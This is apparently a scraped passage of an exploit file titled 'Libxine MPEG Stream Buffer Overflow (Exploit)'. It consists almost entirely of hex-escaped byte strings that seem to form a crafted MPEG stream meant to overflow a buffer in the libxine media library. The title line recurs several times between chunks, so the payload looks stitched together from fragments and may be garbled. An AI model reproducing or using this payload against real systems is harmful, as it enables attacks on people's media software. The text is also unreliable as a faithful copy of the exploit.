"\x6F\x23\x84\xAD\x94\xAC\x6C\x8A\xF2\xF6\xA7\x9B\x94\xAF\xA8\x7E\xF9\x53\xFF\xFB\x6F\x95\x0F\xA8".
"\x3A\x7C\xCD\x2B\xCD\x5F\xCE\x3F\x6E\x2C\xD9\xCF\x12\x92\xBD\x11\x72\xBA\x6B\x10\x4B\x56\xA6\x8B".
"\x9C\x2C\x52\x4A\x24\x27\xC1\x08\xB3\x07\x27\x2B\x8A\xC9\xF3\xC7\xD3\x7B\x74\xD6\x31\xC0\x8A\x14".
"\x54\xE3\x3E\x30\x0A\x20\x4F\xC8\x8A\x18\x3E\xCA\x58\xA7\x66\x11\xEE\x01\x82\x88\x15\xBE\x94\x53".
"\xED\x77\xC4\x97\x1E\x55\x8E\x06\x21\x1D\xE4\x14\xA7\x28\xAC\xBA\xB8\xA6\x3F\x64\xF6\xC4\xB9\xC8".
"\x01\x08\xC3\xBC\x51\x4B\x7F\x84\x25\x2B\xA4\x2B\xA7\x5D\xAF\xA4\x72\x67\x06\x29\xCF\x6F\xA0\x63".
"\xE0\x6D\x8E\xBF\x69\x08\x19\x90\x8D\x36\x51\x33\xF9\xF1\x10\x65\x97\xA0\xE0\xA4\x05\x52\xBC\x2D".
"\x8F\x29\x36\xB4\xC4\x44\x22\xD6\x70\xE9\x05\x01\xC6\x5D\x12\x92\xB4\xA8\x82\x00\x00\x01\x5D\x2C".
"\x01\x00\x00\x64\x00\x82\x01\x02\x00\x00\x00\x00\x08\x80\x02\x00\x00\x1C\x0D\x00\x00\x80\x02\x1A".
"\x00\x00\x76\x7E\x38\x50\x28\x63\x53\x21\x2E\xD4\x0D\x3C\x54\x55\xA5\xF8\x4A\x08\x99\x34\x8B\x2D".
"\x96\x76\x99\x02\x0D\x23\x0A\x40\x05\x33\xB5\x59\x07\xE8\x28\xD8\x11\x9A\x60\x44\xEA\x18\xA4\x19".
"\x00\x49\x60\x2D\x92\xB9\x4D\x63\x55\xC7\x55\xBF\x1E\x3A\xAF\x09\x00\x82\xAB\x19\x09\x76\xA8\x10".
"\x80\x25\x61\x4A\x52\x8C\x32\x53\xB5\x62\x01\x2D\x2D\x00\x30\x11\x52\x98\x51\x15\x24\xAA\x98\x6F".
"\x66\x04\x41\x00\x24\xAA\x57\x2E\x00\x4E\x81\x00\x0D\x0B\x8C\x10\x04\x89\x80\x44\x06\xA8\xCF\x9D".
"\xE7\x07\x8E\xAF\xC5\x41\x94\x15\x58\xC8\x47\xB5\x09\x11\x4A\x4A\xDC\x52\x87\x6E\x0C\x6C\xE1\xDE".
"\x43\x60\x30\x41\x01\x95\x25\x10\x12\x00\xAA\x83\xA6\x42\xE9\x6B\x61\x91\xA3\x66\xE1\x7C\x0D\x47".
"\x42\x22\x24\xCC\x96\xB6\x20\x33\x60\x7F\x49\xFB\x2F\x1D\x7F\x89\xD4\x40\xAA\xC6\x62\x3E\x7A\x86".
"\x9E\x32\x5D\xB9\x5A\x4D\x49\x32\x6A\x97\x53\x43\x4B\x61\xB1\x10\x6A\x44\xD2\x90\x90\x5A\x01\x2D".
"\x57\x7B\x61\x33\x10\x26\xCE\x29\x89\xDC\x19\xB2\xC2\x3A\x04\xEC\x68\x93\x74\x3A\x15\xF1\xAD\xBC".
"\x76\x7E\x44\x28\x14\x2A\x31\x90\x9F\x77\x89\xA5\x6C\x50\x84\x2D\x17\xE1\x24\xA0\xA2\x1B\x27\x65".
"\xA4\x88\x0D\xA8\x4C\x10\xB0\x29\x22\x2A\x26\xAA\x74\xC8\xDA\xF8\x2C\x11\x20\x8D\xF3\x55\x50\x6F".
"\xDB\x36\x4C\xEA\x1A\xD5\x41\xBD\x76\x57\xC7\x50\x34\xF1\xD5\x79\x29\x7C\x2A\x2A\x11\x1F\x5B\xA9".
"\x08\x5B\xA8\x99\x42\x78\xE8\x7C\x65\x89\xD8\x90\x1A\xB3\x82\x20\xD5\x6A\x43\xA8\xA0\x10\x81\x26".
"\x82\x66\x15\xBB\x5B\xA5\x25\x15\x52\xC5\x47\x29\x31\xB1\x00\xC5\x90\x62\xE0\xC3\x24\x30\xDE\x20".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\xCC\x0F\x00\xCF\x27\x8E\x9F\xBE\x65\x03\x2A\x8A\x84\x45\xDA\xA4\xCD\x34\x14\x04\x52\x88\x7C\x04".
"\x20\xB2\xE2\x61\xD4\x64\xCA\x6A\x11\x28\xA8\x64\xB4\x1A\xB3\x28\x9C\x73\xA7\x58\x49\x82\xDB\xF4".
"\x5C\x9A\x66\xE2\x1A\xD9\x04\x08\x3B\x2C\x2D\x64\x8D\xB4\x56\xAF\x8B\xD7\xBC\x75\x7E\x4A\x00\x28".
"\x23\x32\x11\x0F\x8A\x0D\x3E\x58\x83\xC5\x57\x88\xA2\x0D\x85\x0A\x26\x5A\xD0\x01\x22\x29\xA0\x89".
"\x00\xBA\x80\x8D\xEC\x30\xB2\x4A\xC0\x84\xE5\xC2\xA2\x25\x7C\x6F\x53\x0D\xBD\x41\xA0\xEB\x00\x46".
"\xC4\x34\x45\x9B\xF3\x39\x5C\xD3\x1B\x96\xBC\x75\xFE\x23\x05\x30\xAA\xE8\x44\x3D\xF7\x24\x25\x28".
"\x41\x1C\x6F\x92\x5A\x4C\x13\x1B\x0A\x13\x00\x9D\x91\x55\x62\x5D\x73\x03\x0C\x40\x07\x4C\x06\x1D".
"\x4E\xBD\x02\x44\x37\xDF\x52\xC9\x04\x46\xE4\x91\x01\x90\x01\x4D\xCD\x9E\xC0\xFC\x2E\x17\x8E\x9B".
"\xC0\x50\x00\x55\x5D\x08\x87\xB5\x10\xC4\xC8\x4A\xDB\xE7\xC8\x43\xE9\x06\x82\x00\x96\xC5\xCC\xD4".
"\x49\xD9\x24\x10\x90\x0D\x64\x49\x60\x6B\x24\x6F\xAA\x8C\x5E\x5C\xB2\xE2\x11\x3D\x16\x46\xF4\x0E".
"\x59\x89\x27\xA5\x25\x5F\xC0\x0B\x1B\x81\x87\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00".
"\x00\x00\x1C\x0C\x00\x00\x5B\x02\xF9\xD3\xA9\x15\x7E\xF5\xB4\x21\x0E\x35\xD5\xDB\x61\x48\x35\x29".
"\xBE\xFC\xBE\x57\x67\xF9\x4A\x92\xA3\x3A\x52\x66\x3C\xA9\xE8\x4B\x5C\xC6\xC1\x30\x43\x60\x24\x73".
"\x59\xD0\x5B\xA9\x45\x2B\xA7\xE2\x80\x3C\x1B\x3E\x42\x31\x94\xC6\x49\x86\x70\x87\x08\x3A\xFA\x6F".
"\x12\xBD\x89\x31\xA1\x52\xE8\x37\x6D\xA6\x99\x86\xA6\x68\xC4\xC6\xC1\xF0\x84\x11\x38\x80\xA1\x07".
"\x03\xAA\x14\x6F\xBF\xE1\xDD\x9F\xB8\xA0\xBF\x93\xD1\x4D\x6A\xAB\x83\xA9\xEF\xF3\xF6\x01\xCB\xBF".
"\x3F\x9C\xCF\x0F\x8B\xF1\x57\xED\x03\x9E\xBB\x59\xBE\xE5\xFC\x9C\x6F\xDD\x1D\x7F\xFC\xB3\xC3\xA3".
"\x67\xE1\x1B\x97\xE9\x72\x55\xC1\x50\x31\x18\x5C\x28\x03\x4C\x06\x12\x93\x44\xA7\x36\x25\x43\x8C".
"\x7A\xBB\x04\xFE\x16\x80\x43\xF1\x9C\x6F\x1F\xE1\x3D\x53\x1C\x03\x9F\x28\x6B\x8F\x28\x73\x5C\xD9".
"\x4D\xCB\x2C\xCC\x96\x16\xA3\xE5\x98\xC3\x31\xB3\x39\xD2\xA9\xCC\xC5\x4A\xFC\xA7\x97\xDF\x6A\x7A".
"\xE6\xDC\xB0\xBD\x4A\xBC\xC0\x31\xC6\x65\xD7\xA3\x99\x0F\x85\x28\x4B\x4B\x18\x0B\x30\x60\x26\xBE".
"\x06\x97\xBF\xFC\xA2\x9E\xDE\x1E\x42\x63\xA7\x21\xC4\xD0\xD6\x48\x9E\x69\x37\xAC\x60\x60\x98\xAE".
"\x12\x2B\xF1\x58\xB3\xCD\x2D\x2C\x8D\x0E\xBF\xE1\x99\xF8\xA2\xA0\xAB\x0A\x9E\xD6\xAB\x0C\x26\x1B".
"\x0C\x00\x80\xC0\xA7\xFF\xCC\x55\x50\xCC\xA8\x04\xA7\x54\x88\x2C\x85\xC1\x38\x3D\x29\x5E\xA4\x27".
"\xB2\x62\x86\x50\x95\x24\x08\x47\xF2\xCC\x49\x25\x39\x59\x06\x52\x10\xB7\x92\xAF\x1A\x8C\xBE\x82".
"\x33\x6B\xD5\x88\x95\x69\x3A\x72\x8F\x14\xD1\x81\xD1\xCB\xC2\x57\xA0\x5C\xB6\x25\x99\xF1\x04\x3A".
"\x0C\xD0\xE2\x00\xFC\x89\x0C\xC8\xA2\x4D\xFD\x40\xF0\xCA\xAC\x02\x4C\x3B\x1B\xCF\x4B\x10\x5D\x5E".
"\xCC\xE7\x6B\xEC\x66\x54\x5D\x1B\x22\x3F\x1A\xAC\x1D\x6B\x32\x5B\x97\xFF\x2E\x51\x6B\x13\x55\x7C".
"\xBE\xC6\x44\x46\x93\x9E\x29\xA5\xBB\x8C\x87\x76\x80\x80\xC6\xA3\x1E\x92\x22\x0D\xB0\xA7\xEC\x02".
"\xA3\x4C\x3B\xB8\x10\xF7\xB8\x93\x8D\x8C\xC0\xD1\x18\x0C\x82\x74\x86\x40\x46\x3C\xE1\x60\x5F\xC1".
"\xBA\x2A\x86\xD8\x58\x49\xFB\xAA\x24\x50\x3F\xD5\x60\xFC\xCE\x17\xFB\x7E\xDF\xA6\xF9\x9D\xDD\xBF".
"\xFF\xFB\xE9\x9D\x51\x7A\xFF\x03\x85\xDE\x97\xFA\x3B\x07\x03\x0C\x54\x56\xD8\xA3\x6E\x5F\xB6\x5E".
"\xA3\xDE\xBB\xE3\x85\x03\x4E\x68\x40\x8D\xF8\xB3\x04\xC4\xE6\xE6\xB3\x57\x1A\x46\xEF\x70\xF4\xEB".
"\x92\xA0\xE2\xAB\x62\x8E\x5F\xF9\x44\x9E\x80\xB5\xA7\x95\xFE\xFD\x5A\x9F\xB6\x55\x16\x84\x05\x24".
"\x88\x9C\xD0\xD9\x89\xD0\x35\xE2\x1E\x24\x46\x7D\x07\x02\xC4\x2B\x1D\x8F\x23\x36\xBE\x54\x17\x32".
"\x5F\x50\x78\xA4\xFA\x60\xFC\x08\x51\x4B\x54\x3F\x8D\x1F\xB6\x83\xE1\x80\x45\xC5\xD3\x22\x9B\xEA".
"\x73\x21\x1C\x79\x58\xA0\x0B\x3E\x09\xCE\xF3\x82\x00\x00\x08\x5D\x02\x90\x01\x00\x00\x64\x00\x82".
"\x01\x8E\x0E\x00\x00\x08\xDA\x24\x00\x00\x1C\x0C\x00\x00\x06\xCF\x6C\xF7\x9B\xAF\x3A\x36\x20\xBA".
"\x88\xA4\xFE\xBD\x59\x00\x1F\x87\xCB\x02\x92\x5C\x43\xE4\x30\x9D\x80\xC7\xC5\x94\x54\x0C\xDC\x0B".
"\x1D\x97\x87\x8F\xFF\xCF\x2B\x64\xE1\x14\x95\x2A\x93\x08\xB3\x86\x45\xBE\x92\x29\x2F\xAF\x4C\x71".
"\x8A\xFF\x4F\xE0\x87\x48\x0E\xC7\x36\x0D\x8A\x09\x48\x47\xCE\x05\x15\x1F\xB5\x3C\x56\x55\x65\xD6".
"\xF6\x0D\x70\xC5\x5F\xCD\x51\x4F\x14\x73\xAA\x3F\x4C\xED\xB6\x43\xE0\xBB\x8F\xB4\x02\x2F\xE8\xBF".
"\x8C\x8C\x5F\x41\x89\x89\xD3\x81\x38\xBE\xDB\xF0\x34\xAD\x1C\xF8\xA1\xE8\x17\xA0\xE8\x69\x53\x61".
"\x91\x18\x6C\x54\x87\x75\x2C\xD1\xA1\x56\x80\xF3\x47\xB9\x1A\x7A\x79\x42\x09\xBD\x5A\xDA\x64\xA4".
"\x92\x74\x7D\xC8\xE4\x49\x3F\x30\x66\x67\xB6\x57\x4F\x41\xC7\x33\xA2\x03\x84\x89\x5C\x0C\x75\x55".
"\x33\x27\x41\x68\xC1\xF0\x11\x85\x54\x55\xD0\x51\xF6\x2B\xFC\xBE\x52\x06\xA0\xF5\x45\xE6\xFB\x56".
"\xFF\x7D\x01\xD2\xD2\x7B\xAB\x55\xE1\xFC\x97\xDF\x93\x36\x51\xEE\x72\xFA\x49\x66\xA7\x8C\x11\x90".
"\x1E\x71\xF5\x68\x01\x3A\x31\x33\x62\x0F\xC9\x99\x98\xA1\xDD\x55\x57\x85\x25\xE4\xB2\xAC\x7A\x4A".
"\xA8\xFE\x1A\x03\x80\x4A\x64\x09\xAC\x35\xE9\xA5\x31\x8E\x96\xDE\x1D\x73\x7F\x55\x46\x27\x38\x9F".
"\xAA\x69\x6A\xF9\x96\x9F\xB4\x03\xF1\x52\xA5\x03\xC5\x5F\xF5\xEF\x54\x89\x31\xBA\xCD\xA5\xD6\x81".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\x31\x18\x75\x93\x1D\x55\x59\x21\x80\xD0\x61\x50\x9C\x44\x8A\xC6\xB2\x44\xF3\x81\xB4\x96\x5F\x5C".
"\x7F\xBB\x84\x92\x9F\x82\x3D\x0D\xD3\x28\x30\xA8\xAE\x30\x12\xF8\x92\x27\x98\xA9\x4E\x54\xB3\x8C".
"\xC9\xD7\xFA\x2A\x77\x8A\xD0\x56\x5D\x01\x28\x59\xA3\xA7\x51\xC5\xED\xFA\x8A\xA9\xB8\x14\x74\xEA".
"\x38\x82\xC8\x4B\x1C\x4C\x05\xCA\xC4\x76\x42\x16\xF0\x20\xAB\x4E\x5B\x20\xEF\xE2\xE0\xE6\x94\x1C".
"\xC2\x06\xA0\x17\xA3\x08\x06\xB0\x39\x13\x9D\x02\xFA\xA8\x91\xD2\xC8\xB5\x0B\x4F\x8E\x0C\x1D\x01".
"\x4C\xE0\x52\xD1\xDD\x85\x9B\x86\x62\x72\xB0\xA5\xEC\x60\x04\x9F\xF5\x5C\xA5\x7A\x50\xD8\xA4\x01".
"\x89\xDE\xCD\x50\x53\x68\xC8\x01\xC3\x10\xEE\x0E\xB2\xEF\x48\x1A\x9C\xFA\x80\x3C\x5F\x94\x44\x57".
"\x9B\xEF\xA4\x51\x6F\xDB\xB2\x6F\xFD\x3D\xB5\xBE\x1F\x2D\xF7\x2A\x5B\x49\xA4\xD3\xA4\x37\xB0\x93".
"\x11\xE0\x4C\x0B\x5B\xDC\x06\x13\x37\x2F\xBB\x08\x1A\x40\xAD\x88\x00\x66\x86\x0B\x37\x43\xC0\x7C".
"\xA1\xFF\x82\xB8\x81\x53\x0A\xD2\x4B\xCB\x98\x44\xBB\x3D\xEF\xC5\x03\xC5\x5E\xC6\xE4\xF6\x81\xFB".
"\x59\x66\x4F\x24\xFD\xB5\x33\xA5\x5F\xFC\xA2\x2A\xC1\xEA\xB9\x37\x67\xB9\x07\x93\xF1\x76\x7B\xC6".
"\x0F\x9F\x96\x92\x5F\x9E\xE8\x86\xF6\x83\x95\x09\xD7\xAA\x69\xC2\x3B\x25\xEA\x02\x21\xFA\x23\xAD".
"\x1F\xA7\x11\x21\x45\x82\xC2\x12\xEC\x78\x1F\x44\xF1\x2A\xC8\xBD\xB2\xC5\xA0\x1C\x03\x5E\xBF\xA4".
"\x0A\x5E\xF0\x77\x52\xF8\x1C\xA0\xE9\x00\x9C\xE9\xA7\x90\x9A\x70\x72\xE7\x9F\x51\xF4\xAF\xD7\x0E".
"\xFF\xF1\xFD\x86\x32\xC5\x7F\xBC\x59\x0A\x02\x64\x22\x5C\x4C\x60\x5B\xE7\x12\x6C\x1D\x6C\xCE\xA2".
"\x54\xBB\x71\x9F\x55\x6B\xE9\x0E\x80\x4E\x23\xD4\x4D\x62\x54\x9F\xE2\xF9\x60\xA2\x86\xC3\xE8\x5E".
"\x0E\x62\x8D\x9E\x87\x8F\xC0\x6D\x88\xA0\x63\x95\x3E\x8A\x90\x4F\x02\x81\x89\x18\x06\x40\x78\xC4".
"\x48\xD9\xD0\x0B\x73\x09\x2F\x4C\x37\x64\xCC\x38\xC9\x5D\xA4\x00\x19\xE1\x7C\x65\x30\x42\x57\x3B".
"\xD1\xDD\x6E\x6E\x87\x16\x5B\xBA\x53\xF7\x31\xA7\xD9\xE5\x99\x9B\x12\xA4\xD2\x80\xB2\x3D\x85\x57".
"\x8A\x40\x2C\x35\xAD\xA2\x78\xD0\x11\x3E\xC9\x62\x99\x0E\x59\xA7\xF2\xC0\x76\xE2\x19\x88\xCE\xE5".
"\x9E\x2F\x11\x7C\xA0\x0A\xAA\xF6\xA3\xBB\x2B\x8A\xD6\x3A\x6B\xDF\x12\x17\x04\xC1\x31\x54\x2C\x2E".
"\x6E\x03\x9A\x59\x51\xD1\xE4\xB8\x65\x7B\xFF\xEC\x94\x47\x64\x6A\x51\xA3\x92\x80\x25\xDA\xB4\xB6".
"\xE9\x2B\x57\x4B\xD4\x28\x0C\xD6\x21\x51\xB4\x3E\x99\x01\xE2\xA3\x7C\x5A\x14\xE4\x18\x51\xB2\x04".
"\x75\x5F\x89\x1F\xA0\xED\xFA\x50\x2D\xBD\x61\x84\xB8\x49\x4F\x51\x2A\xAA\xFD\xF3\x20\x53\xCA\x78".
"\xB8\x7A\xE2\x71\x67\x6A\x40\xF8\x89\x88\xC7\x25\x4D\xE3\xC0\x03\x37\xAC\x89\x4E\xAA\xFC\x52\x7E".
"\x78\x6D\x5C\xAC\x7B\xA3\xB7\xA6\x4F\x62\x5B\x4E\x63\x07\x5D\x0E\x39\xA4\x18\x9C\x91\x14\xC8\x1E".
"\x4B\x24\xDA\xD1\xA6\x3A\xDA\x5E\x62\xC3\xC1\xAA\x11\xA7\x20\xF6\x8E\xE0\x3B\x77\xC2\x46\xA8\xCE".
"\xE8\xF9\x4C\xBF\xE8\x3B\x2A\x28\x18\x86\x98\x5A\x82\xAA\x80\x8C\x06\x88\x2B\x67\x10\x97\x7F\x54".
"\x91\xB5\x49\xB7\x37\x30\x50\x9D\x80\x4A\x29\xCE\x4E\xCB\x56\x50\x80\x95\x1F\x38\x0D\x1D\x1D\x10".
"\x17\x8B\xE2\x8A\xB4\xCD\x3B\xF1\xB2\x43\x18\x6A\x39\xF4\x0F\x4D\xD9\x3D\x16\x92\x77\xAA\x07\x43".
"\x37\xDC\x23\x61\x9B\x56\x4F\xAA\x80\xAA\x80\xFF\x73\xB1\x8A\x64\xF6\xD1\x0C\x52\x00\x46\x15\xDE".
"\xC8\x32\x20\xE2\xD1\xD0\x1A\x8A\xC4\x6B\xCC\x67\x31\x87\x9B\x46\x52\x2C\xDF\x73\x73\xB9\xA3\xAD".
"\x55\xA9\x35\x48\xF2\x54\xBF\x4A\x78\xA4\xF4\x76\x56\x46\xC3\x22\x1E\x75\x4E\x08\xF0\xDD\xFB\xC5".
"\xB1\xFF\x00\x20\x42\x35\xF5\xC2\x25\x22\x99\xC0\x9B\x95\x07\x66\xBD\xB2\x48\x85\x42\xCF\x02\x40".
"\x14\xA9\x03\x92\xEF\x75\xA6\x9A\xCE\xB1\x46\xF5\xAE\xBF\x38\xDD\x11\xA0\xF2\x35\xC9\x58\x4F\xAD".
"\x95\x12\x11\xA0\x8D\xBA\x6D\x60\x1F\x50\x9A\x68\x1D\x05\x6D\x5C\xA6\x93\x18\x55\x4B\xE1\x1E\x55".
"\xDD\xD3\xCD\x5A\xB6\x0B\xCA\x45\x1F\xA5\x6F\x08\x85\x97\x1B\x12\x14\x6D\x2F\x29\xFA\x9A\x22\x40".
"\x62\xE4\x83\xDD\xCB\xEA\x29\xD0\x43\xB9\xCC\x1A\xD1\xBE\x56\x23\xA8\xCC\x49\x3D\x88\x85\xA4\x20".
"\xD8\x0F\xC0\x9D\x8A\x2C\xF7\x64\xC3\x16\x05\x39\xDB\x15\x64\x97\xF4\x0D\xFC\xB4\x4D\x6C\xA2\x0B".
"\xCB\x56\x14\x34\x12\x86\x4D\xA6\xEE\xDB\x15\xAA\xA9\x00\x24\xE5\x9C\x32\x17\x58\x75\x43\xC4\x50".
"\x8A\x41\xCE\xF3\x82\x00\x00\x08\x5D\x02\xF4\x01\x00\x00\x64\x00\x82\x01\x7A\x13\x00\x00\x08\xDA".
"\x24\x00\x00\x1C\x0C\x00\x00\x59\x97\x68\x41\x07\x19\x01\x8E\x15\x2B\xA8\x6C\xCE\x1E\x8A\xDB\xA6".
"\x2D\x1E\x4E\x2D\xC0\x50\xCB\xD2\x79\x86\x72\xAE\x1F\x92\x2D\x84\x50\xED\xF3\xD5\xBA\x46\x7E\x05".
"\xD4\x9C\x36\x28\xE9\x4A\x06\x1D\xF4\x7D\xD1\xEB\xAF\x47\x96\x02\x4B\x6C\xAD\x89\x0B\x03\x80\x31".
"\x62\x27\x37\x15\x87\x2F\xA1\xFD\x14\x2D\x15\xB9\x08\xB7\xA3\x56\x47\x6B\x84\x21\xDC\x48\xA3\xC1".
"\x38\x53\x58\xB6\xDF\xE8\xDB\x23\xC9\x8F\x22\x44\x57\x83\x38\x9E\x2E\x11\x6A\x8E\x33\x3B\xED\x59".
"\xAA\xF2\x81\x52\xF4\x8C\xE1\x04\x12\xE7\x60\x05\x2F\xEA\xB3\xBA\xA9\xFA\x67\xCE\xEC\x20\x28\xFD".
"\x80\x52\x0F\x55\xDA\xA1\x24\x3F\x94\xB8\x4A\xA3\xFB\x73\x24\x0A\x0A\x30\x64\x6B\x67\x6F\xEA\x87".
"\x34\xE9\xD8\x8A\x18\xC5\x04\x38\xD0\x94\x9B\x70\x1F\x95\x17\x0A\x48\x3B\x03\x66\xDF\xB0\xFF\x99".
"\x18\xD9\x51\x0F\x3D\x72\x25\xB7\x62\xCB\x9A\xD8\x95\x7C\x3E\x53\xFB\xB6\x88\xC3\xA8\x39\xA5\xAB".
"\x0D\x0F\xC7\xAE\xB7\x70\x3D\xAB\xDB\x44\xDA\xB2\x9C\x21\x7A\x72\x48\x8A\x68\xC0\xFB\x89\x5A\xB4".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\xD3\x1E\xAE\x8F\xD6\x86\x0E\xBD\xD8\xC6\x02\x09\xC0\x24\x5B\x42\xB1\xAF\x50\x8E\x17\x56\x8A\x75".
"\xEB\xD3\x30\xD0\xBF\x32\x64\x4A\x05\xFF\x95\x76\xD4\x7B\xDB\x12\xEE\x43\x4F\xD0\x4B\xC5\x05\xE2".
"\x5A\x9F\x6D\xBC\xF1\x70\x1E\xDD\xAC\xE7\xEC\x6E\x64\x51\x26\x36\x74\x25\x0E\x36\xEF\x21\x13\x47".
"\x8A\xF6\x21\x42\xF3\x20\x9C\xEE\x18\xFC\x72\x16\x29\xEE\x3C\x0B\x25\xAC\xAA\xA0\x29\x69\xA8\x6C".
"\x2B\x5A\x84\x35\xA6\x57\x64\x1D\xF8\x14\xCB\xD9\x24\x28\x60\x5C\x4F\xB5\xFF\xEA\x48\x61\xBB\x44".
"\x35\x2D\x6E\x69\xC9\xA2\x41\x05\x65\x41\xC4\xC8\x36\xC9\x13\xCD\x16\x90\xFE\x11\xB6\x35\x9E\xA9".
"\x47\x37\xC8\x63\x30\x29\x16\xC0\x4C\x08\x2B\x13\x08\x91\xD0\xDB\x24\x4F\x30\x4C\xCB\x7D\x75\xC5".
"\x55\x01\xD4\xA3\xC1\xD9\x87\x21\x39\x1A\x00\xC1\x48\x64\x8E\xDC\xAC\x2C\x00\x2E\xF6\xFC\x40\xD8".
"\xDB\x2B\xB7\x56\x33\x10\xA1\x02\x23\x3E\xC2\x0B\x63\x00\x2E\xAE\x8C\xC4\x08\xAB\x6D\xA6\x45\x71".
"\x04\xEA\x6C\x7C\x5F\xA8\x6F\x44\x7F\x7B\x6B\x1E\x1E\xFD\x44\xDB\x72\x33\xD8\xDF\x27\xF3\x7C\x7C".
"\xA0\x17\x61\x58\x97\xB2\x0A\x12\x00\x0A\x45\xD4\xA9\xCC\xC9\xE7\x0C\x4A\x52\x5C\x40\x64\x63\x9F".
"\x1D\x49\x38\x56\x26\xF1\x9A\xCA\x08\x6D\xC7\x9E\x83\xE1\x82\xD6\x3E\xD4\x79\x8C\xF4\xFD\x1D\x5A".
"\xD6\xEE\x48\x95\xAF\x72\xA4\x95\xA7\xD3\x55\x7A\x0F\xF7\x96\x58\xBC\x9E\x50\x83\x3C\x9D\x96\x4F".
"\x94\x65\x13\x9C\x20\x80\x54\x26\xB3\xB5\x59\x22\x74\x4D\x6A\x74\x43\xE1\x9E\x23\x3E\x55\xB9\xE5".
"\x1F\x9A\x19\x60\x2E\x12\xD5\x97\x51\xD0\xC8\xA0\x70\x00\x58\x2F\x01\xC8\xA5\x29\x5B\x86\xCA\x27".
"\x20\xD9\xA4\x1C\x05\x28\x53\xE0\xE3\x9B\x53\xE1\x16\xC4\x46\xDC\xAA\xAF\x55\xAC\x22\x40\x32\xB9".
"\xC4\x93\x5A\x2B\xAF\x0B\x79\x02\xF9\x01\xD2\xBB\x9E\xFA\x0C\xDB\x83\x0C\xEA\x9E\x64\xD4\xE7\xB4".
"\x99\xDD\x71\x28\xA3\x3C\x43\xEF\x4B\xAF\x23\x79\xD5\xF9\xC7\x87\x42\x71\xF8\xCD\xF3\x08\xEA\x26".
"\xD7\x30\xD2\xF9\x4D\x2A\xF2\x85\xE6\xA1\x4E\xFD\x92\x05\xAD\x0D\x63\xA8\x47\xBC\x0A\x02\x59\xC0".
"\xCC\x8D\x07\x07\x4D\x1E\x00\x91\x99\x69\x3C\xD2\x65\x58\x33\x4B\xEC\x3D\x94\xBF\x66\x60\x64\x46".
"\x1D\xC8\x23\x14\xAB\xEA\x58\xAC\xAC\x23\x73\x19\xEF\x5A\xFA\x93\x38\xA3\x80\xD5\x89\x44\x5C\x29".
"\xCA\x94\x01\xC0\x15\x89\x9C\xEA\x34\x8E\xA5\x10\x1C\x0F\xA6\x7F\xCD\x0D\xCF\xD5\xF5\x5F\x54\xB7".
"\x58\x64\xF9\x42\x70\x9D\x9C\x9E\x28\xD8\x2A\xAA\xB6\x87\xBF\x55\x32\x09\xE4\x0C\xB2\x0A\x01\x11".
"\xAD\xE1\x5E\xE4\x97\x63\xEC\x21\xF7\x8D\x81\x50\x92\x3F\x1F\xD8\x08\x5E\xC2\xE5\x4D\x17\xFF\xF8".
"\xA5\x4C\x05\x27\xB7\x9C\x18\x67\x6A\xA2\xE1\xF1\x70\x1B\xBE\xBD\xAD\x97\xF3\x30\x0C\x78\xAE\xB4".
"\xB1\xF2\x8F\xFC\x6A\x11\x63\xCD\x22\x1C\x04\xF6\x11\xFC\xFF\x22\x4B\x28\x3E\x93\xDE\x6E\x38\x77".
"\x13\x8D\x40\x5E\x3B\x22\x07\xDC\x60\x8F\x62\x7B\x9A\x62\x02\x26\xF7\xEC\x8C\x5D\x46\x7B\x2E\x31".
"\x2D\xFD\x02\xB5\x58\xF6\xA1\xF8\xAB\x38\x12\xFE\xA7\xEA\x58\xCF\x66\x2D\xBB\x6C\x02\x34\xF9\x40".
"\x8B\xDB\xA0\xA0\x59\x19\x18\x68\x00\x0B\xF3\x03\x03\x63\x58\x3D\xE0\x65\x50\x19\x86\xEC\xCD\xB3".
"\x22\xC2\xF4\x97\xE2\xA6\x75\xDA\xDD\xC8\x1A\x43\x02\xA8\xC0\xE5\x34\xE8\xA4\x63\x73\x10\x2A\xC7".
"\x1C\x24\xE9\xB4\xE3\x5E\xA6\xF3\x18\xC4\x2D\x6D\xE4\x5A\x67\x87\x5C\x6C\x91\xC5\x3B\x54\xDF\x59".
"\x9D\x11\xA8\xF6\x64\x63\xF7\xF7\xDD\xF2\x80\x52\x56\x73\x1E\xE0\x69\xFA\x71\xB3\xA4\x0A\x3E\x7A".
"\xEE\xE9\x4E\xD7\x00\x48\x7E\x72\xE2\x65\x6F\xC8\xCB\x2D\x48\xF1\x9B\x72\x34\x35\x8F\x2E\xD0\x71".
"\x20\x99\x6A\x29\x51\x50\x44\xBC\xB3\xFA\x44\xA4\x06\xF8\x12\xE7\x5D\xAF\xFD\x48\xE2\x13\x7D\x55".
"\x60\x68\x1B\x71\x06\x20\xE3\x42\x33\x58\x68\x9F\x86\x05\x45\x62\x5C\x74\x69\xA3\x1D\x05\xC1\x14".
"\x0C\xD0\xA6\x4A\x93\xE9\x14\xEA\x78\xC1\xDD\xC5\xC0\x52\xCC\xAB\xAC\x9C\x83\xA2\x78\x84\x72\x98".
"\x64\x45\x18\xC0\xC3\xF9\xC8\x50\x8A\xF1\x51\xD0\x6E\x49\x72\x9F\xBC\xE1\xD2\xF3\x49\xB1\xD0\xE8".
"\x5C\x13\x11\x41\x6F\x54\x0B\x66\x52\xF0\x76\x4E\x1B\x23\xB3\x2C\x01\x22\xCE\x08\xD3\xA0\x79\xE0".
"\xC8\x1A\xB9\x47\x5B\x47\x40\x24\xCB\x37\x95\x62\x8C\x8E\x2E\x76\x7B\xB7\xF8\xDC\x02\xEC\x01\x8B".
"\x2D\x50\x05\xFC\x23\x9B\x1A\xC5\x2A\x7C\xA3\x24\xEC\xDB\x6A\xF8\x5D\xEA\x5F\xCB\x9B\xFF\x48\xC0".
"\x8E\x0E\x70\xA4\xE2\x60\x4B\x24\xA1\x9A\xE5\xB9\x8B\x07\x73\xF1\xD1\x48\x08\x48\xDA\x5B\x48\x9B".
"\xD9\x3F\x8C\x71\xE0\x11\xA6\x72\xDE\x27\x42\x45\x99\x68\x48\xB1\x64\x87\x80\xDC\xA5\x68\x8A\x5A".
"\x9F\x4E\x73\x6E\xD0\xF5\x1E\xE7\xFC\xD5\x61\x95\x1F\xF2\x88\x56\xA3\x45\x56\xCE\xF3\x82\x00\x00".
